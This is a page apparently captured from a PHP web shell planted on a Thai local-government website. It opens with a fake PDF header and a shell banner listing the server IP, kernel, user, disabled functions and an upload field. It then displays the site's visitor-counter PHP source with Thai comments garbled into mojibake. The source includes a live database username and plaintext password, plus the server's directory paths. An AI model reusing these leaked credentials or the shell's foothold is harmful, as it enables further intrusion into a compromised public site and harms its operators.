%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/moungngam/domains/moungngam.go.th/public_html/ |
Upload File : |
<?php
require_once('admin/Connections/conndb.php');
mysql_select_db($database_conndb, $conndb);
?>
<?php
/* ============================================================
µÑǹѺ¼Ùéà¢éÒªÁàÇçºä«µì (à¢Õ¹ãËÁè - ÃͧÃѺ PHP 5.3+)
- ãªé mysqli á·¹ mysql_* (¢Í§à´ÔÁ·ÕèàÅÔ¡ãªéä»áÅéÇ)
- ãªéµÒÃÒ§à´ÔÁ·Ñé§ËÁ´: counter, daily
- à¾ÔèÁµÒÃÒ§ "online" (ãËÁè - ÊÃéÒ§Íѵâ¹ÁѵԶéÒÂѧäÁèÁÕ) à¾×èÍÃͧÃѺ
ªèͧ "¡ÓÅѧÍ͹äŹì" à¾ÃÒеÒÃÒ§à´ÔÁäÁèÁÕ¢éÍÁÙÅàÇÅÒ (timestamp)
- äÁèãªé get_result() à¾ÃÒÐâÎʵìºÒ§·ÕèäÁèÁÕ mysqlnd driver
- äÁèãªé short array [] áÅÐ ...spread à¾×èÍÃͧÃѺ PHP 5.3
============================================================ */
// ---------- µÑ駤èÒ¡ÒÃàª×èÍÁµèͰҹ¢éÍÁÙÅ ----------
$db_host = "localhost";
$db_user = "moungngam_data";
$db_pass = "qTETLPpBs2";
$db_name = "moungngam_data";
$conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
die("àª×èÍÁµèͰҹ¢éÍÁÙÅäÁèÊÓàÃç¨: " . $conn->connect_error);
}
// °Ò¹¢éÍÁÙÅà´ÔÁà¡çºÀÒÉÒä·ÂẺ TIS-620 (¢Í§à´ÔÁ äÁèà»ÅÕè¹)
$conn->set_charset("tis620");
// ËÁÒÂà˵Ø: µÒÃÒ§ counter/daily à¡çºá¤è DATE, IP, NUM (äÁèÁÕ¢éͤÇÒÁä·Â)
// ´Ñ§¹Ñé¹ charset ¢Í§ DB ¨ÐäÁè¡Ãзº¢éͤÇÒÁä·Â·ÕèáÊ´§¼Å
// (»éÒ¡ӡѺä·Âà¢Õ¹ÍÂÙèã¹ä¿Åì¹Õéâ´ÂµÃ§ áÊ´§¼Åà»ç¹ UTF-8 µÒÁ»¡µÔ)
// ÊÃéÒ§µÒÃÒ§ online Íѵâ¹ÁѵԶéÒÂѧäÁèÁÕ (ãªéÊÓËÃѺªèͧ "¡ÓÅѧÍ͹äŹì" à·èÒ¹Ñé¹)
$conn->query(
"CREATE TABLE IF NOT EXISTS online (
ip VARCHAR(45) NOT NULL,
last_active DATETIME NOT NULL,
PRIMARY KEY (ip)
)"
);
$today = date("Y-m-d");
$yesterday = date("Y-m-d", strtotime("-1 day"));
$thisMonth = date("Y-m");
$lastMonth = date("Y-m", strtotime("-1 month"));
$thisYear = date("Y");
$lastYear = date("Y", strtotime("-1 year"));
$ip = $_SERVER["REMOTE_ADDR"];
// ---------- ¿Ñ§¡ìªÑ¹ªèÇ´֧¤èÒ 1 ¤ÍÅÑÁ¹ì äÁèãªé get_result() ----------
// (ÃͧÃѺâÎʵì·ÕèäÁèÁÕ mysqlnd driver)
function fetchOne($conn, $sql, $types = "", $params = array()) {
$stmt = $conn->prepare($sql);
if (!$stmt) {
return null; // àªè¹ µÒÃÒ§äÁèÁÕ¨ÃÔ§ ËÃ×Í SQL ¼Ô´
}
if ($types !== "" && $params) {
$bindParams = array();
$bindParams[] = $types;
for ($i = 0; $i < count($params); $i++) {
$bindParams[] = &$params[$i];
}
call_user_func_array(array($stmt, "bind_param"), $bindParams);
}
$stmt->execute();
$stmt->bind_result($value);
$found = $stmt->fetch();
$stmt->close();
return $found ? $value : null;
}
function getCount($conn, $sql, $types = "", $params = array()) {
$value = fetchOne($conn, $sql, $types, $params);
return $value === null ? 0 : $value;
}
// ---------- ÂéÒ¢éÍÁÙŢͧ "Çѹ¡è͹˹éÒ" à¢éÒ daily áÅéÇà¤ÅÕÂÃì counter ----------
$lastDate = fetchOne($conn, "SELECT DATE FROM counter LIMIT 1");
if ($lastDate === null || $lastDate != $today) {
// à¡çºÂÍ´¢Í§àÁ×èÍÇҹŧµÒÃÒ§ daily
$stmt = $conn->prepare(
"INSERT INTO daily (DATE, NUM)
SELECT ?, COUNT(*) FROM counter WHERE DATE = ?"
);
if ($stmt) {
$stmt->bind_param("ss", $yesterday, $yesterday);
$stmt->execute();
$stmt->close();
}
// ź¢éÍÁÙÅà¡èÒ·ÕèäÁèãªèÇѹ¹ÕéÍÍ¡¨Ò¡ counter
$stmt = $conn->prepare("DELETE FROM counter WHERE DATE != ?");
if ($stmt) {
$stmt->bind_param("s", $today);
$stmt->execute();
$stmt->close();
}
}
// ---------- ºÑ¹·Ö¡¡ÒÃà¢éÒªÁ¢Í§Çѹ¹Õé ----------
$stmt = $conn->prepare("INSERT INTO counter (DATE, IP) VALUES (?, ?)");
if ($stmt) {
$stmt->bind_param("ss", $today, $ip);
$stmt->execute();
$stmt->close();
}
// ---------- ´Ö§ÂÍ´µÑÇàÅ¢µèÒ§ æ ----------
$strToday = getCount($conn, "SELECT COUNT(DATE) AS c FROM counter WHERE DATE = ?", "s", array($today));
$strYesterday = getCount($conn, "SELECT NUM AS c FROM daily WHERE DATE = ?", "s", array($yesterday));
$strThisMonth = getCount($conn, "SELECT SUM(NUM) AS c FROM daily WHERE DATE_FORMAT(DATE,'%Y-%m') = ?", "s", array($thisMonth));
$strLastMonth = getCount($conn, "SELECT SUM(NUM) AS c FROM daily WHERE DATE_FORMAT(DATE,'%Y-%m') = ?", "s", array($lastMonth));
$strThisYear = getCount($conn, "SELECT SUM(NUM) AS c FROM daily WHERE DATE_FORMAT(DATE,'%Y') = ?", "s", array($thisYear));
$strLastYear = getCount($conn, "SELECT SUM(NUM) AS c FROM daily WHERE DATE_FORMAT(DATE,'%Y') = ?", "s", array($lastYear));
$strAll = getCount($conn, "SELECT SUM(NUM) AS c FROM daily");
// ÃÇÁÂÍ´¢Í§Çѹ¹Õé (·ÕèÂѧäÁè¶Ù¡ÂéÒÂà¢éÒ daily) à¢éÒä»ã¹ÂÍ´ÃÇÁ·Ñé§ËÁ´´éÇÂ
$strAll = (int)$strAll + (int)$strToday;
// ---------- ONLINE NOW ----------
$now = date("Y-m-d H:i:s");
$stmt = $conn->prepare(
"INSERT INTO online (ip, last_active) VALUES (?, ?)
ON DUPLICATE KEY UPDATE last_active = ?"
);
if ($stmt) {
$stmt->bind_param("sss", $ip, $now, $now);
$stmt->execute();
$stmt->close();
}
// ¶×ÍÇèÒ "Í͹äŹì" ¤×ÍÁÕ activity ÀÒÂã¹ 5 ¹Ò·ÕÅèÒÊØ´
$conn->query("DELETE FROM online WHERE last_active < (NOW() - INTERVAL 5 MINUTE)");
$strOnline = getCount($conn, "SELECT COUNT(*) AS c FROM online");
$conn->close();
// ---------- ¨Ñ´ÃٻẺµÑÇàÅ¢ ----------
function fmt($n) { return number_format((float)$n, 0); }
?>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<style>
.visitor-stats {
font-family: "Kanit", "Tahoma", sans-serif;
border-radius: 6px;
overflow: hidden;
box-shadow: 0 2px 10px rgba(0,0,0,0.15);
max-width: 100%;
}
.visitor-stats__bar {
height: 6px;
background: linear-gradient(90deg, #2b0a45, #6a1b9a, #2b0a45);
}
.visitor-stats__row {
display: flex;
flex-wrap: wrap;
background: #f1e9fb;
padding: 18px 10px;
}
.visitor-stats__item {
flex: 1 1 0;
min-width: 110px;
text-align: center;
padding: 6px 8px;
}
.visitor-stats__number {
font-size: 24px;
font-weight: 700;
color: #5a189a;
line-height: 1.3;
}
.visitor-stats__label {
font-size: 13px;
color: #7b5ea6;
margin-top: 2px;
}
</style>
<div class="visitor-stats">
<div class="visitor-stats__bar"></div>
<div class="visitor-stats__row">
<div class="visitor-stats__item">
<div class="visitor-stats__number"><?php echo fmt($strToday); ?></div>
<div class="visitor-stats__label">¼Ùéà¢éÒªÁÇѹ¹Õé</div>
</div>
<div class="visitor-stats__item">
<div class="visitor-stats__number"><?php echo fmt($strYesterday); ?></div>
<div class="visitor-stats__label">àÁ×èÍÇÒ¹</div>
</div>
<div class="visitor-stats__item">
<div class="visitor-stats__number"><?php echo fmt($strThisMonth); ?></div>
<div class="visitor-stats__label">à´×͹¹Õé</div>
</div>
<div class="visitor-stats__item">
<div class="visitor-stats__number"><?php echo fmt($strLastMonth); ?></div>
<div class="visitor-stats__label">à´×͹·ÕèáÅéÇ</div>
</div>
<div class="visitor-stats__item">
<div class="visitor-stats__number"><?php echo fmt($strThisYear); ?></div>
<div class="visitor-stats__label">»Õ¹Õé</div>
</div>
<div class="visitor-stats__item">
<div class="visitor-stats__number"><?php echo fmt($strLastYear); ?></div>
<div class="visitor-stats__label">»Õ·ÕèáÅéÇ</div>
</div>
<div class="visitor-stats__item">
<div class="visitor-stats__number"><?php echo fmt($strAll); ?></div>
<div class="visitor-stats__label">¼Ùéà¢éÒªÁ·Ñé§ËÁ´</div>
</div>
<div class="visitor-stats__item">
<div class="visitor-stats__number"><?php echo fmt($strOnline); ?></div>
<div class="visitor-stats__label">¡ÓÅѧÍ͹äŹì</div>
</div>
</div>
</div>